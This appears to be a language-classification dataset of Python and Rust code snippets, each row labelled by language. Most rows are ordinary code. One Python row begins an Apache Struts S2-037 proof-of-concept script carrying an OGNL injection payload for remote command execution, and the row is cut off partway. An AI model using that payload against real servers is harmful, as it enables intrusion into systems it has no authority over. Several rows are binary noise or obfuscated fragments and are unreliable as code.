text
string
label_name
string
labels
int64
# Sort an array of 0s, 1s and 2s # Problem Statement: Given an array consisting of only 0s, 1s, and 2s. Write a program to in-place sort the array without using inbuilt sort functions. ( Expected: Single pass-O(N) and constant space) """ Input: nums = [2,0,2,1,1,0] Output: [0,0,1,1,2,2] Input: nums = [2,0,1] Output: ...
Python
1
>(), ); } } pub fn byte_2(&self) -> u8 { let mut mem = core::mem::MaybeUninit::<u8>::uninit(); unsafe { core::ptr::copy_nonoverlapping( self.0[2..].as_ptr(), mem.as_mut_ptr() as *mut u8, core::mem::size_of::<u8>(), ); mem.assume_init() }.from_little_e...
Rust
0
where I: Stream<Item = char>, I::Error: ParseError<I::Item, I::Range, I::Position>, { let env = calc_env(); let paren = env.parens(parser(expr)); let var = env.identifier().map(|var: String| Box::new(Term::Var(var))); var.or(paren).parse_stream(input) } fn apply<I>(input: &mut I) -> ParseResult...
Rust
0
(1 -> result) (mov (-> result), (-> left)) (xor (-> result), (-> right)) (>> result)) ); // Integers fun!(I32 "-", (I32 operand), builder => { emit!(builder => (for X86 | X86_64 => (1 -> result) (mov (-> result), (-> operand)) ...
Rust
0
import numpy as np from scipy.optimize import minimize def sgd(grad, x, callback=None, num_iters=200, step_size=0.1, mass=0.9): """Stochastic gradient descent with momentum. grad() has signature grad(x, i), where i is the iteration.""" velocity = np.zeros(len(x)) for i in xrange(num_iters): g =...
Python
1
suffix = '$MSVSPROJECTSUFFIX', emitter = projectEmitter) solutionBuilder = SCons.Builder.Builder(action = '$MSVSSOLUTIONCOM', suffix = '$MSVSSOLUTIONSUFFIX', emitter = solutionEmitter) default_MSV...
Python
1
eMiner(persistence, config=config) folder_path_list = ['./rca_data/2022-08-22/log','./rca_data/2022-08-23/log'] for folder_path in folder_path_list: for root, dirs, files in os.walk(folder_path): for file in files: log_file = os.path.join(root, file) ...
Python
1
f CPU time that can be used by a process. CPU = RLIMIT_CPU, /// Maximum size of the process's data segment. DATA = RLIMIT_DATA, /// (Effectively) limits the number of files that can be opened by a process. NOFILE = RLIMIT_NOFILE, /// Maximum size of a file that can be created by a process. F...
Rust
0
# -*- coding: utf-8 -*- # # Copyright 2022 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
Python
1
= [0u8; 32]; let p: u32 = 0x8000_0001; let keys = derive_zip32_child_fromseedandpath(&seed, &[p]); let mut dk = [0u8; 32]; dk.copy_from_slice(&keys[0..32]); let mut ask = [0u8; 32]; ask.copy_from_slice(&keys[32..64]); let mut nsk = [0u8; 32]; nsk.copy_...
Rust
0
ecord = data.unwrap(); if s.command.eq(&Command::CommandExit) { back_sender.send(s); drop(wait_group_main); break; } else if s.command.eq(&Command::CommandFlush) { while let Some(log_record) = log_stack.pop_f...
Rust
0
o(Y(DYPH.vf&;4VMSEwYJkEE+{USH=*}:̆]uHZ(eq:}53ӹT,:p` L0Mt9ʜ`XJZQ )PvZ} Z(uFo 80#hCN| "fe_JKWFAtK*4:hT{RBQ4sn^<r6P^Uq*= p o8@`"߇] 7 {zz0 SqBEy`Nz>@A}W,J,lW%{(߅H]P ][a^%4_Kg6(Jd"yD\|0]̟ '#>GBu{5` 1mJ' Z$g;)7nA-KI1?RHHKH:s㇞xV%n"bbpv \ؐ+"$mpH;V`@nqG2a^...
Python
1
("name")] = None filter_instance = DummyFilterSchema(name="foobar") queryset = FakeQS() queryset = filter_instance.filter(queryset) assert queryset.filtered def test_multiple_filter_lookup_instances_error(): """Test that multiple FilterLookup instances in a single annotation raises ImproperlyConf...
Python
1
guillaume@ubuntu:~/0x0A$ cat 10-main.py #!/usr/bin/python3 Square = __import__('10-square').Square s = Square(13) print(s) print(s.area())
Python
1
st) { result.insert(ms_src); } }, // 北東 NE(slider) => if slider { // 長北東 for i_ne in 1..9 { if dx + i_ne < SUJI_10 && dy + i_ne < DAN_10 { let ms_src = suji_dan_to_ms(dx + ...
Rust
0
match self { SomePrivateKey::Ed25519(ed) => ed.verify(v, sig, alg), SomePrivateKey::Ecdsa(ec) => ec.verify(v, sig, alg), SomePrivateKey::Rsa(rsa) => rsa.verify(v, sig, alg), } } } impl VerificationKey for SomePublicKey { fn verify(&self, v: &[u8], sig: &[u8], ...
Rust
0
if let Some(file) = slides.files.get(idx) { file.action(w)?; } }, Input::None => (), } } Ok(()) } enum Input { None, Previous, Next, Margin(bool), Action, Quit, } fn read_input() -> Result<Input> { ...
Rust
0
line_parts[0], line_parts[2], line_parts[3], layer, &rotation )); } if is_bom { if line_parts.len() < 10 { continue; } output.push_str(&format!( "\"{}\",\"{}\",\"{}\",\"{}\"\n", line_parts[1], li...
Rust
0
# You are working in a team of developers. # Another developer has written the code to import the names in the inputs # You can run the code to see what this names list looks like. # Then change the names in the input to see how it imports the names. import random names_string = input() names =names_string.split(", ") ...
Python
1
import math def Initialize(): list = [7, 1, 9, 0, 5, 8, 4, 2, 10, 0, 20] return list def calculate_cost(state): countingInvaesion = 0 length = len(state) for i in range(length-1): for j in range(i+1, length): if state[i] > state[j]: countingInvaesion += 1 re...
Python
1
ctionEnabled(&self, identity: HSTRING, out: *mut bool) -> HRESULT, fn RequestAccessWithBehaviorAsync(&self, sourceIdentity: HSTRING, targetIdentity: HSTRING, auditInfo: *mut ProtectionPolicyAuditInfo, messageFromApp: HSTRING, behavior: ProtectionPolicyRequestAccessBehavior, out: *mut *mut foundation::IAsyncOperatio...
Rust
0
from __future__ import annotations import os import platform import pytest from gamspy import Container, Equation, Parameter, Set, Sum, Variable from gamspy.exceptions import ValidationError pytestmark = pytest.mark.unit def get_default_platform(): operating_system = platform.system().lower() architecture...
Python
1
ion fields = ( "name", "workdays", ) class PublicHolidaySerializer(ModelSerializer): """Public holiday serializer.""" location = relations.ResourceRelatedField(read_only=True) included_serializers: ClassVar[dict[str, str]] = { "location": "timed.employment...
Python
1
line, to_safe_cstring(function).as_ptr(), code, to_safe_cstring(message).as_ptr()); } } // Fall back if the Suricata C context is not registered which is // the case when Rust unit tests are running. // // We don't log the time rig...
Rust
0
'w') as f: json.dump([camera.get_dict() for camera in cgroup.cameras], f) # visualize the world with one frame if FLAGS.visualize: print("seq_name:", seq_name) axes_all = plot_cameras(cgroup) keypoints3d = cgroup.triangulate( keypoints2d_all[:, 0].reshape(nviews, -1, 2) ...
Python
1
stdin_tx: self.stdin_tx.clone(), job_list_tx: self.job_list_tx.clone(), job_list_rx: self.job_list_rx.clone(), } } } impl Job { pub fn new(id: u32, stdio: Stdio, stdin_tx: mpsc::Sender<Vec<u8>>) -> Job { let (job_list_tx, job_list_rx) = mpsc::channel(MAX_MPS...
Rust
0
payment_req(wallet_handle, Some(IDENTIFIER), CORRECT_PAYMENT_ADDRESS, ); assert_code!(ErrorCode::WalletAccessFailed, err); utils::tear_down_with_wallet(wallet_handle, "...
Rust
0
from collections.abc import Mapping from typing import Any, TypeVar from attrs import define as _attrs_define from attrs import field as _attrs_field from ..models.post_v1_desktop_response_403_status import PostV1DesktopResponse403Status T = TypeVar("T", bound="PostV1DesktopResponse403") @_attrs_define class PostV...
Python
1
import itertools def tsp_brute_force(distances): """ Função que resolve o problema do caixeiro viajante usando força bruta. :param distances: matriz de distâncias entre as cidades. :return: menor custo e rota correspondente. """ n = len(distances) # Quantidade de cidades cities = range(n) ...
Python
1
nner_instance_backup_filter_iam_query(self): factory = self.replay_flight_data( 'spanner-instance-backup-filter-iam', project_id='cloud-custodian') p = self.load_policy({ 'name': 'spanner-instance-backup-filter-iam', 'resource': 'gcp.spanner-backup', 'filt...
Python
1
es[0].T, 128 if self.decode else num_codebooks def _window(self, a, item_len): shape = (self.window_frames, item_len) s = (a.shape[0] - shape[0] + 1,) + (a.shape[1] - shape[1] + 1,) + shape strides = a.strides + a.strides return np.lib.stride_tricks.as_strided(a, shape=s, strides=st...
Python
1
a3JFtidoccMbhEGKZ" WALLET_FORMAT_COMPRESSED_REGTEST = WALLET_FORMAT_COMPRESSED_TEST WALLET_FORMAT_MAIN = "5KHxtARu5yr1JECrYGEA2YpCPdh1i9ciEgQayAF8kcqApkGzT9s" WALLET_FORMAT_TEST = "934bTuFSgCv9GHi9Ac84u9NA3J3isK9uadGY3nbe6MaDbnQdcbn" WALLET_FORMAT_REGTEST = WALLET_FORMAT_TEST CONVERT_BITS_INVALID_DATA_PAYLOAD = [ ...
Python
1
let idx = e_addr >> 2; if idx < PLIC_INT_MAX as u64 { self.priority[idx as usize] = data; } else { panic!("Write to reserved area: {:x}", addr); } } else if e_addr < PLIC_MENABLE_BASE { match e_addr { 0x1000 => self...
Rust
0
import pytest import os import sys sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) from src.ChernCharacter import ChernCharacterP2 from src.CoherentSheaf import CotangentBundleP2, LineBundle from src.DerivedCategoryObject import ChainComplex def test_is_cotangent_bundle_sum(): cot ...
Python
1
Supply a data dictionary of params (as json data). """ return await super().patch_resource( url, data, auth_config_var=await self.get_auth_variable(thread_context) ) async def delete_resource( self, url: str, thread_context: ThreadContext = None, ...
Python
1
from functools import lru_cache from pathlib import Path import frontmatter from django.utils.html import strip_tags from config import settings from pages.utils_markdown import _extract_slug_from_path, md_converter, _resolve_markdown_file, _parse_datetime BLOGS_ROOT = Path(settings.BASE_DIR, "proprietary", "content...
Python
1
#!/usr/bin/env python # -*- coding:utf-8 -*- import time import requests import argparse ''' proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } ''' def verity(url): s2037_poc = "/(%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS)%3F((%23writ%3D(%23attr%5B%23parameters.c...
Python
1
= Ray { origin: s, direction: self.sun_dir, }; let mut optical_depth_light_r: f32 = 0.0; let mut optical_depth_light_m: f32 = 0.0; let overground: bool = get_sun_light( light_ray, &mut optical_depth_light_r,...
Rust
0
:option::Option::None; self.unknown_fields.clear(); } } impl ::std::fmt::Debug for ModelProto_SentencePiece { fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { ::protobuf::text_format::fmt(self, f) } } impl ::protobuf::reflect::ProtobufValue for ModelProto_SentencePi...
Rust
0
from .core import PielBaseModel class Environment(PielBaseModel): """ Data structure to define a corresponding environment. """ temperature_K: float = 293 region: str = ""
Python
1
from fastapi import FastAPI from exts.exceptions import ApiExceptionHandler import os import pathlib from fastapi.openapi.docs import (get_redoc_html, get_swagger_ui_html, get_swagger_ui_oauth2_redirect_html, ) from fastapi.staticfiles import StaticFiles from config.config import get_settings app = FastAPI(docs_url=No...
Python
1
_string(false), color::Fg(&color::Reset as &dyn color::Color) ).unwrap(); } } write!( dest, // "{:08x}: {}{}{}{}: |{}|", "{:08x}: {}{}{}{}: | |", addr, bytes.next().map(|x| format!("{:02x}"...
Rust
0
import json from core.llms.claude_aws_client import ClaudeAwsClient def test1_claude_client(): from core.utils.all_tools import tools_info_claude, AllTools client = ClaudeAwsClient() generator = client.tool_chat("写一个python函数,可以用于判断1000003是否是素数", tools_info_claude, ...
Python
1
assert_eq!( t.instantiate::<&[&str], &str>(&["a", "b", "c"]).unwrap(), vec!["a", "-", "-", "b", "c"] ); assert_eq!( t.instantiate::<&[&str], &str>(&["a", "b", "c", "d"]) .unwrap(), vec!["a", "-", "b", "-", "c", "d"] ); assert_eq!( t.instantiate::<&...
Rust
0
from multiprocessing import Queue, Manager from config.config import BHExecutionNodeGlobalConfig, STORE_METHOD_ENUM from paradigm.replicate import ReplicateChunk, ChunkReplicateRecord, ReplicatePackage from paradigm.slot import CommitSlotItem from network.Grpc.service.service_pb2 import RecoverSlotChunk class Channe...
Python
1
6c(iptrf0iqb1a: hrz5nd74gxq): return False del qd48ivr5tge raise ehrvawc0uqp '# land_drags_scratch -> smash_values_fronts' '# land_drags_scratch -> smash_values_fronts' None.ogw2afx_hba += eqpmtjk3xit n57qne7q5xt = d91t1wqv4ca = el5xz43uz94 = hzfqp90g_48 = u5dcppk_nmv = uz46ow_moha = ghji6bo...
Python
1
b98b39423b71e14217aa299a03b7c937d6ff") }, ] ) } #[maybe_async::test(feature = "blocking-client", async(feature = "async-client", async_std::test))] async fn extract_references_from_v1_refs() { let input = &mut "73a6868963993a3328e7d8fe94e5a6ac5078a944 HEAD 21c9b7500cb144b3169a6537961ec2b9e8...
Rust
0
elif in_place: params = [ p if device is None else p.to(device) for p in module.parameters() ] else: # Standard behavior params = [ p.clone() if device is None else p.clone().to(device) for p in module.parameters() ...
Python
1
u8 = 9; ((self.bits >> OFFSET) & MASK as u32) != 0 }; SYS_SYSPLL_CLK_RDYR { bits } } #[doc = "Bit 8"] #[inline] pub fn sys_xclk_vld(&self) -> SYS_XCLK_VLDR { let bits = { const MASK: bool = true; const OFFSET: u8 = 8; ((self.bits >>...
Rust
0
amount = 0 for i in range(1, 1001): for j in str(i): if j == "5": amount += 1 print(amount)
Python
1
&POLICIES[4]), ("-32,768", std::i16::MIN, &POLICIES[0]), ("\u{200e}-\u{200e}32𠜱768", std::i16::MIN, &POLICIES[1]), ("\u{200e}-\u{200e}32𠜱768", std::i16::MIN, &POLICIES[2]), ("\u{200e}-\u{200e}32768", std::i16::MIN, &POLICIES[3]), ("\u{200e}-\u{200e}32768", std::i16::MIN, &POLIC...
Rust
0
sed_keys, &self.state.pressed_buttons, ) .unwrap_or(false); key && self.state.modifiers_match(self.modifiers_to_match) } pub fn is_rising(&self) -> bool { let key = self .state .is_key_in_set( self.key, ...
Rust
0
def accuracy(output, target, topk=(1,)): """Computes the accuracy over the k top predictions for the specified values of k""" with torch.no_grad(): maxk = max(topk) batch_size = target.size(0) _, pred = output.topk(maxk, 1, True, True) pred = pred.t() correct = pred.eq(...
Python
1
import clases as c import os bodegas = c.Bodega() def ingresarProducto(): try: os.system("cls || clear") nombre = input("Nombre: ") precio = float(input("Precio: ")) cantidad = int(input("Cantidad: ")) producto = c.Producto(nombre, precio, cantidad) bodegas.agregar...
Python
1
}}rcUR$)N _sampwidth)rFs r getsampwidthWave_read.getsampwidthGrrcUR$)N _framerate)rFs r getframerateWave_read.getframerateJrrcUR...
Python
1
import multiprocessing import subprocess import time import os # Optional: Set paths for logs or emotion file EMOTION_FILE = "emotion_file.txt" def run_emotion_detection(): """Run the emotion detection system (test.py).""" try: print("[Emotion Detection] Starting...") subprocess.run(["python3"...
Python
1
ed), }; match joiner.join_timeout(STEP) { Err(JoinError::Panic) => {} unexpected => panic!("unexpect {:?}", unexpected), } mem::drop(context); mem::drop(guard); } #[test] fn test_spawn_return() { let (context, _canceller, mut receiver) = channel(); let barrier = Arc::new(Bar...
Rust
0
', '"', 'l', '\n', ']', 'h', '.', 't', ',', '2', '=', 'A', 'd', 'f', 'u', 'b', 'g', 's', '/', '`', 'm', 'w', '}', '$', '-', '0', ';', 'j', '>'], '~': ['|', '~', "'", '=', ' ', '"', '0', '!', 'f', ']', 'o', '/'], '!': ['=', '"', '~', '\n', "'", ' ', '\\', '/', '[', '<', '|', '#', '!', '%', ')', '$', '*', '-', '.', '?', ...
Python
1
from machine import Pin, PWM import time import math class Servo: def __init__(self, pin, min_pulse=500, max_pulse=2500, freq=50): self.pin = pin self.min_pulse = min_pulse # 最小脉冲宽度,单位为微秒 self.max_pulse = max_pulse # 最大脉冲宽度,单位为微秒 self.freq = freq # PWM频率,单位为Hz s...
Python
1
pub bytes: TypeId, pub construct_interactive_process_result: Function, pub interactive_process_request: TypeId, pub interactive_process_result: TypeId, } <reponame>ddboline/aws_app_rust use anyhow::{format_err, Error}; use chrono::{DateTime, Duration, Utc}; use itertools::Itertools; use log::debug; use maplit::ha...
Rust
0
#!/usr/bin/env python3 -u """Tests for hierarchical aggregator.""" # copyright: sktime developers, BSD-3-Clause License (see LICENSE file) __author__ = ["ciaran-g"] import pytest from sktime.tests.test_switch import run_test_for_class from sktime.transformations.hierarchical.aggregate import Aggregator from sktime.u...
Python
1
# importing the necessary libraries import os from pathlib import Path import logging # setting the logging logging.basicConfig(level=logging.INFO, format='[%(asctime)s]: %(message)s:') # setting the project name project_name = 'wine_quality' # defining the list of files for the project structure list_of_files = [...
Python
1
.opt_cast_into()?; let capture = match capture { Scalar::Tuple(capture) => capture .into_iter() .map(Id::opt_cast_from) .collect::<Option<Tuple<Id>>>(), Scalar::Value(Value::Tuple(capture)) => capture .into_iter() ...
Rust
0
) train_loader = iter(train_loader) with self.assertRaises(KeyError): data = next(train_loader) @unittest.skipUnless(xr.global_runtime_device_count() > 1, "Multiple devices required for tupled partition spec") def test_input_sharding_not_dict(self): device = torch_xla.devic...
Python
1
-> Result<InstrSeq<'arena>> { let alloc = env.arena; let pos = &expr.1; let count = fields.len(); let emit_dict = |e: &mut Emitter<'arena, 'decl>| { if is_struct_init(e, env, fields, true)? { emit_struct_array(e, env, pos, fields, |alloc, _, x| { Ok(instr::newstructd...
Rust
0
self.ctx.send_stop_ack().await { error!("Error occurred during stop ACK sending: {}", e); } } /// Build and spawn a new worker relay, returning a send handle to it pub(crate) fn init(rt: &Runtime, worker: W, ctx: Context, ctrl_rx: SmallReceiver<CtrlSignal>) { let relay = WorkerR...
Rust
0
ed_memory": {"units": "KB"}, "rdb_changes_since_last_save": {"units": "changes"}, "rdb_bgsave_in_progress": {"units": "yes/no"}, "master_sync_in_progress": {"units": "yes/no"}, "master_link_status": {"units": "yes/no"}, #"aof_bgrewriteaof_in_progress": {"units": "yes/no"}, ...
Python
1
manager::{ keep_alive_task, spawn_task_manager, ManagedTaskAdd, ManagedTaskHandle, TaskManagerRunHandle, }, paths::EnvironmentRootPath, state::AppInterfaceId, state::ConductorState, CellError, }; use crate::{ conductor::{ api::error::ConductorApiResult, cell::Cell, con...
Rust
0
import gradio as gr import os import sys from typing import Literal, Dict, Optional import fire import torch from torchvision.io import read_video, write_video from tqdm import tqdm sys.path.append(os.path.join(os.path.dirname(__file__), "..", "..")) from utils.wrapper import StreamDiffusionWrapper CURRENT_DIR = o...
Python
1
fn blueprint_post_script_is_found_and_run() { let blueprint = Blueprint::new("test_assets/example_blueprint_with_scripts", None).unwrap(); let output_dir = TempDir::new("my-project").unwrap(); let engine = Tmplpp::new(); blueprint .render( &engine, ...
Rust
0
tch capability_decl { FrameworkCapabilityDecl::Directory(source_path) => source_path.clone(), _ => return Ok(capability), }; let mut dir_path = capability_path.split(); // If this capability's source path doesn't begin with 'hub', then it's // not a hub capabilit...
Rust
0
eed to sort points or need the squared distance for some formula. fn distance_squared_to(self, other: Point2) -> f32; } impl Point2Godot for Point2 { #[inline] fn angle_to_point(self, other: Point2) -> Angle { Angle::radians(Trig::fast_atan2(self.y - other.y, self.x - other.x)) } #[inline]...
Rust
0
{1F3FC}'], vec!['\u{200D}'], vec!['\u{2695}'], vec!['\u{FE0E}'] ], emoji_joiner_with_emoji_data(&emoji_data, "\u{1F9D1}\u{1F3FC}\u{200D}\u{2695}\u{FE0E}") ); assert_eq!( vec![ vec![ '\u{1F469}', '\u{1F3FB}', '\u{200D}', '\u{2764}', '\u{FE0F...
Rust
0
import torch import torch.nn as nn import torch.nn.functional as F class InundationLoss(nn.Module): def __init__(self, threshold: float = 0.5, reduction: str = 'mean'): super(InundationLoss, self).__init__() self.reduction = reduction self.threshold = threshold def forward(self, input...
Python
1
Price", help="Unit price of the sales order item.") currency_id = fields.Many2one('res.currency', string="Currency") employee_id = fields.Many2one('hr.employee', string="Employee", help="Employee that has timesheets on the project.") _sql_constraints = [ ('unique_employee_per_wizard', 'UNIQUE(wizar...
Python
1
#계산 고속화 ''' 신경망의 학습과 추론에 드는 연산량은 상당하다. 신경망은 얼마나 빠르게 계산하는가가 매우 중요하다. -> 신경망 고속화에 도움되는 '비트 정밀도'와 'GPU'에 대해 소개한다. ''' #비트 정밀도 ''' 넘파이의 부도오수점 수는 기본적으로 64비트 데이터 타입을 사용한다. (환경, os나 파이썬/넘파이 버전에 따라 바뀔 순 있다.) ''' import numpy as np a=np.random.randn(3) print(a.dtype) #float64 ''' 신경망의 추론과 학습은 32비트 부동소수점 수로도 문제없이(인식률을 거의 떨어뜨리는...
Python
1
_cluster_task_network_output_pool_usage metric") }); // ///////////////////////////////////////////////////// // // Unit Tests /////////////////////////////////////// #[cfg(test)] mod tests { use std::convert::TryFrom; use std::sync::Mutex; use chrono::{DateTime, TimeZone, Utc}; use claim::*; use...
Rust
0
f, val: f64) -> &mut Self { use wasm_bindgen::JsValue; let r = ::js_sys::Reflect::set( self.as_ref(), &JsValue::from("loopStart"), &JsValue::from(val), ); debug_assert!( r.is_ok(), "setting properties should never fail on our di...
Rust
0
#!/usr/bin/env python3 """ This module contains the User class that defines the schema for the users table in the database. """ from sqlalchemy import Column, Integer, String from sqlalchemy.ext.declarative import declarative_base Base = declarative_base() class User(Base): """ This class represents a user...
Python
1
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
Python
1
n(nf * stride, 1024) model["layer_%d" % n] = nn.Sequential( WNConv1d( nf_prev, nf, kernel_size=stride * 10 + 1, stride=stride, padding=stride * 5, groups=nf_prev // 4, ...
Python
1
import time import sounddevice as sd import torch language = 'ru' model_id = 'ru_v3' sample_rate = 48000 # 48000 speaker = 'aidar' # aidar, baya, kseniya, xenia, random put_accent = True put_yo = True device = torch.device('cpu') # cpu или gpu text = "Железяка приветствует раба" model, _ = torch.hub.load(repo_or_...
Python
1
ndex", &mut fork); index.put(&[0u8; 32], 43); } } <gh_stars>0 use std::ffi::OsStr; use std::fmt; use std::fs; use std::path::{Path, PathBuf}; use std::process::{Command, Child, Stdio}; use std::time::{SystemTime, Duration, UNIX_EPOCH}; use anyhow::Context; use async_std::task; use edgedb_client as client; ...
Rust
0
}, RobovacCommand.BATTERY: { # Verified # Seems that '8' is a duplicate of '163' "code": 163, }, RobovacCommand.BOOST_IQ: { # Verified "code": 159, }, RobovacCommand.CLEANING_TIME: { # Verified ...
Python
1
WITH_AES_256_CBC_SHA => 0x0038, TLS_DHE_RSA_WITH_AES_256_CBC_SHA => 0x0039, TLS_DH_anon_WITH_AES_256_CBC_SHA => 0x003a, TLS_RSA_WITH_NULL_SHA256 => 0x003b, TLS_RSA_WITH_AES_128_CBC_SHA256 => 0x003c, TLS_RSA_WITH_AES_256_CBC_SHA256 => 0x003d, TLS_DH_DSS_WITH_AES_128_CBC_SH...
Rust
0
default(), } } pub fn map_type(arg: &str) -> TokenStream { match arg { "_cl_context" => quote! {CLContext}, "_cl_event" => quote! {CLContext}, "void" => quote! { std::os::raw::c_void }, "int64_t" => quote! {u64}, "int32_t" => quote! {u32}, "Bool" => quote! {bool}...
Rust
0
one_hours, time_zone_minutes) = ( time_elements_structure) month = self._MONTH_DICT.get(month_string.lower(), 0) time_zone_offset = (time_zone_hours * 60) + time_zone_minutes if time_zone_sign == '-': time_zone_offset *= -1 time_elements_tuple = (year, month, day_of_month, h...
Python
1
#!/usr/bin/env python3 """ 测试CLI日志修复效果 验证用户界面是否清爽,日志是否只写入文件 """ import os import sys import subprocess # 添加项目根目录到Python路径 project_root = os.path.dirname(os.path.abspath(__file__)) sys.path.insert(0, project_root) def test_cli_logging_setup(): """测试CLI日志设置""" print("🔧 测试CLI日志设置") print("=" * 60) ...
Python
1
ACTLOAD_ONE`"] #[inline(always)] pub fn is_pwm_3_gena_actload_one(&self) -> bool { *self == PWM_3_GENA_ACTLOADR::PWM_3_GENA_ACTLOAD_ONE } } #[doc = "Values that can be written to the field `PWM_3_GENA_ACTLOAD`"] #[derive(Clone, Copy, Debug, PartialEq)] pub enum PWM_3_GENA_ACTLOADW { #[doc = "Do ...
Rust
0
from rpython.config.config import OptionDescription, BoolOption, Config from rpython.rlib.objectmodel import specialize class HippyOptionError(Exception): pass OPTIONAL_EXTS = ["mysql", "hash", "fastcgi", "xml", "mcrypt"] optexts_descriptions = [ BoolOption("allexts", "Enable all extensions", defa...
Python
1
rypt(&encrypted, &keys.private).unwrap(); decrypted.truncate(plaintext.len()); assert_eq!(plaintext.as_bytes(), decrypted.as_slice()); Ok(()) } #[test] fn rsa_encrypt_and_decrypt_with_4096_key() -> Result<(), CryptoError> { let keygen = KeyGen {}; let rsa_cyptor = RSACryptor::new(keygen); ...
Rust
0
alue, metric in zip(test_metrics, self.metrics): self.log(f'test_{metric}', value) test_loss, test_acc, test_f1, test_prec, test_rec = test_metrics print(f'Test: Loss = {test_loss:.2f} | Acc. = {test_acc:.2f} | F1 = {test_f1:.2f} | Prec. = {test_prec:.2f} | Rec. = {test_rec:.2f}') def get...
Python
1
# # test_chroma_count.py # import chromadb # client = chromadb.PersistentClient(path="./chroma_store") # collection = client.get_collection("utd_chunks_mistral") # count = collection.count() # print(f"📦 Total documents in ChromaDB: {count}") # semantic_search_debug.py # from sentence_transformers import SentenceTran...
Python
1
narioFlags(0x146, 2) label("loc_28FB") SetScenarioFlags(0x146, 1) label("loc_28FE") SetScenarioFlags(0x146, 0) label("loc_2901") SetScenarioFlags(0x145, 7) SetScenarioFlags(0x145, 6) SetScenarioFlags(0x145, 5) SetScenarioFlags(0x145, 4) SetScenarioFlags(0x145, 2) SetSce...
Python
1
import pandas as pd import matplotlib.pyplot as plt import os folder = os.path.dirname(os.path.abspath(__file__)) input_path = os.path.join(folder, 'heterodimer_batch123_matched_unique.csv') output_pdf = os.path.join(folder, 'iptm_x_hist.pdf') output_bins_csv = os.path.join(folder, 'iptm_x_hist_bins.csv') # 读取数据 try:...
Python
1
y1, y2 = residual((x1_true, x2_true), training=True) y = tf.concat((y1, y2), axis=1) # Gradients computed due to reversibility (x1, x2), (dx1, dx2), dw = residual.backward_grads( y=(y1, y2), dy=(dy1, dy2), training=True) x = tf.concat((x1, x2), axis=1) dx = tf.concat(...
Python
1
available fields see [sysclk_conf](sysclk_conf) module"] pub type SYSCLK_CONF = crate::Reg<u32, _SYSCLK_CONF>; #[allow(missing_docs)] #[doc(hidden)] pub struct _SYSCLK_CONF; #[doc = "`read()` method returns [sysclk_conf::R](sysclk_conf::R) reader structure"] impl crate::Readable for SYSCLK_CONF {} #[doc = "`write(|w| ....
Rust
0
{ return Ok(0) } fn ReadDir(&self, _task: &Task, _f: &mut File, _serializer: &mut DentrySerializer) -> Result<i64> { return Ok(0) } fn ReadAt(&self, _task: &Task, _f: &mut File, _dsts: BlockSeq, _offset: i64) -> Result<i64> { return Ok(0) } ...
Rust
0
`0` is parsed as an /// `A` while the field with key `1` is parsed as a `B`. Specifically, to parse /// a `Pair(A, B)` from a field with prefix `pair`, a form with the following /// fields must be submitted: /// /// * `pair[0]` - type A /// * `pair[1]` - type B /// /// Examples include: /// /// * `pair[0]=id&pai...
Rust
0
) .ok(); 0 } #[cfg(feature = "threads")] #[no_mangle] unsafe extern "C" fn pthread_mutexattr_destroy(attr: *mut PthreadMutexattrT) -> c_int { // FIXME(#95) layout of attr doesn't match signature on aarch64 // uncomment once it does: // libc!(libc::pthread_mutexattr_destroy(checked_cast!(attr))...
Rust
0